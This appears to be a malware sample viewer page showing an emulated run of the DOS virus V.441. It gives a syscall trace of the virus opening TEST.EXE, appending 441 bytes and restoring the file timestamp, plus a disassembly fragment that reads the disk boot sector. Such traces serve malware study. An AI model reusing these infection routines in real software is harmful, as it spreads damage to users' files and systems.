Sample viewer

vx.netlux.org/Virus.DOS.V.441

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:46:14.184047498Z 44 PC: 13c6a | Get time 0x13c6a: cmp dh, 2
0x13c6d: jle 0x13c7e
0x13c6f: jmp 0x13cac
0x13c71: nop
0x13c72: sub ch, byte ptr [0x7865]
0x13c76: add byte ptr gs:[bp + di + 0x3a], ah
0x13c7a: pop sp
0x13c7b: outsb dx, byte ptr [si]
0x13c7c: arpl word ptr [bx + si], ax
0x13c7e: cmp dl, 0x60
0x13c81: jle 0x13ca5
0x13c83: mov dx, 0x80
0x13c86: mov cx, 1
0x13c89: mov ax, 0x201
0x13c8c: mov bx, 0x220
0x13c8f: int 0x13
0x13c91: mov ax, 0xff
0x13c94: mov bx, 0x220
0x13c97: add bx, 0x1c0
0x13c9b: mov word ptr [bx], ax
2018-12-17T22:46:14.187688419Z 78 PC: 13cb6 | Find first file
2018-12-17T22:46:14.194440213Z 47 PC: 13cbf | Get disk transfer address
2018-12-17T22:46:14.195572258Z 61 PC: 13ccd | Open file (Filename = 'TEST.EXE')
2018-12-17T22:46:14.202883004Z 87 PC: 13cd8 | Get or set file date and time
2018-12-17T22:46:14.230144557Z 66 PC: 13d0f | Move file pointer
2018-12-17T22:46:14.231804405Z 66 PC: 13d21 | Move file pointer
2018-12-17T22:46:14.233502577Z 66 PC: 13d8d | Move file pointer
2018-12-17T22:46:14.238416243Z 64 PC: 13d98 | Write file or device (Write 24 bytes on handle 27)
2018-12-17T22:46:14.24009042Z 66 PC: 13da3 | Move file pointer
2018-12-17T22:46:14.243332933Z 64 PC: 13db7 | Write file or device (Write 7 bytes on handle 27)
2018-12-17T22:46:14.245902034Z 66 PC: 13dc2 | Move file pointer
2018-12-17T22:46:14.247788602Z 64 PC: 13dcd | Write file or device (Write 441 bytes on handle 27)
2018-12-17T22:46:14.249315984Z 87 PC: 13de6 | Get or set file date and time
2018-12-17T22:46:14.251618263Z 62 PC: 13dea | Close file
2018-12-17T22:46:14.253324793Z 9 PC: 12a5c | Display string (Could not find end pointer)
2018-12-17T22:46:14.260184697Z 76 PC: 12a61 | Terminate with return code (Return code = '0')